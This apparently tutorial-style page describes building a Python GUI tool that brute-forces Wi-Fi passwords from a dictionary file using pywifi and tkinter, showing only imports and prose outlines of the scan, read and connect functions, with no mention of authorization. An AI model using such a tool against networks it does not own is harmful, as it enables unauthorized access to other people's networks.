Python WiFi Password Cracking GUI Tool Using pywifi and Tkinter

This tutorial explains how to build a Wi‑Fi password cracking tool with Python, leveraging the pywifi library for wireless interface control and tkinter for a simple graphical user interface.

Environment preparation

Python 2.7

pywifi module (install separately)

A password dictionary file (one password per line)

Import modules

# coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

Core logic

The program scans nearby Wi‑Fi networks, lets the user select an SSID, and then iterates through the dictionary, attempting each password until a successful connection is made. Key functions include:

scans_wifi_list : scans and lists available networks.

readPassWord : reads passwords from the dictionary and calls connect for each attempt.

connect : creates a pywifi.Profile , sets the SSID and password, connects, and checks the connection status.

gui_start()

Running the script opens a window where you can select a Wi‑Fi network, load a password list file, and start the cracking process; successful attempts are displayed and saved in the GUI.
